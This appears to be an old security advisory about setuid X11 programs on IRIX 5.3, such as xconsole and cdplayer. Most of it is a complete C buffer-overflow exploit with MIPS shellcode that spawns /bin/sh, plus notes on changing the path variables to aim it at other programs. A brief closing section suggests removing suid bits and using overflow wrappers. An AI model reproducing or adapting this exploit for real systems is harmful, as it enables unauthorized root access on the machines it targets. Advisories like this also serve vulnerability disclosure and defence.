COMMAND

    /usr/sbin/X11/xconsole
    /usr/sbin/X11/cdplayer
    /usr/sbin/xwsh
    /usr/sbin/monpanel

SYSTEMS AFFECTED

    IRIX 5.3 (at least)

PROBLEM

    The code that follows this  text, written by David Hedley,  can be
    used  to  exploit  various  other  programs  just  the  same.   He
    suggested that  they probably  use a  shared librarry,  seems that
    that  may  be  so.   Patrick  J.  Paulus  has been looking through
    around and trying  some things.   Here are some  more that can  be
    exploited in the same manner (NOTE: This has only been tested on
    an Indy R4600 IRIX 5.3):

        /usr/sbin/X11/xconsole
        /usr/sbin/X11/cdplayer
        /usr/sbin/xwsh (requires argument of "4")
        /usr/sbin/monpanel

    The only thing you'll have to modify in the following code is  the
    PATH and the PATH_PROG variables.   If it doesn't seem to work  of
    gives you a "Bus  Error" then try using  the "4" argument that  Mr
    Hedley suggested. Below is exploit for xconsole.

    /* Exploit by David Hedley <hedley@cs.bris.ac.uk>
     * 27/5/97
     *
     * _very_ slighty modified by Patrick J..Paulus <pjp@stepahead.net>
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define NUM_ADDRESSES 500
    #define BUF_LENGTH 500
    #define EXTRA 9000
    #define OFFSET  0x180    /* 0x184 for Irix 6.x */
    #define GP_OFFSET       -0x80
    #define IRIX_NOP        0x03e0f825 /* move $ra,$ra */
    #define PATH_PROG        "/usr/bin/X11/xconsole" /* path & program name */
    #define PROG            "xconsole" /* program */

    #define u_long unsigned

    u_long get_sp_code[] = {
        0x03a01025, /* move $v0,$sp */
        0x03e00008, /* jr $ra */
        0x00000000, /* nop */ };

    u_long irix_shellcode[] = {
        0x24041234, /* li $4,0x1234 */
        0x2084edcc, /* sub $4,0x1234 */
        0x0491fffe, /* bgezal $4,pc-4 */
        0x03bd302a, /* sgt $6,$sp,$sp */
        0x03bd202a, /* sgt $4,$sp,$sp */
        0x240203ff, /* li $v0,1023 */
        0x03ffffcc, /* syscall 0xfffff */
        0x23e40138, /* addi $4,$31,264+48 */
        0xa086feff, /* sb $6,-264+7($4)  */
        0x2084fef8, /* sub $4,264 */
        0x20850110, /* addi $5,$4,264+8 */
        0xaca4fef8, /* sw $4,-264($5)  */
        0xaca6fefc, /* sw $4,-260($5)  */
        0x20a5fef8, /* sub $5, 264 */
        0x240203f3, /* li $v0,1011 */
        0x03ffffcc, /* syscall 0xfffff */
        0x2f62696e, /* "/bin"  */
        0x2f7368ff, /* "/sh"  */ };

    char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

    void main(int argc, char **argv)  {
        char *env[] = {NULL};
        u_long targ_addr, stack, tmp;
        u_long *long_p;
        int i, code_length = strlen((char *)irix_shellcode)+1;
        u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

        stack = get_sp();

        if (stack & 0x80000000) {
            printf("Recompile with the '-32' option\n");
            exit(1);
        }

        long_p =(u_long *)  buf;
        targ_addr = stack + OFFSET;

        if (argc > 1)
            targ_addr += atoi(argv[1]);

        tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

        while ((tmp & 0xff000000) == 0 ||
               (tmp & 0x00ff0000) == 0 ||
               (tmp & 0x0000ff00) == 0 ||
               (tmp & 0x000000ff) == 0)
            tmp += 4;

        for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
            *long_p++ = tmp;
            *long_p++ = tmp;
            *long_p++ = targ_addr;
            *long_p++ = targ_addr;
        }

        for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
            *long_p++ = IRIX_NOP;

        for (i = 0; i < code_length/sizeof(u_long); i++)
            *long_p++ = irix_shellcode[i];

        tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

        for (i = 0; i < EXTRA / sizeof(u_long); i++)
            *long_p++ = (tmp >> 8) | (tmp << 24);

        *long_p = 0;

        printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

        execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env);
        perror("execl failed");
    }

SOLUTION

    Temporary fix should be removing  suid bits. As for solutions   --
    it's wrappers time.  AUSCERT wrapper can be found at:

    ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

    or

    http://cegt201.bradley.edu/~im14u2c/wrapper/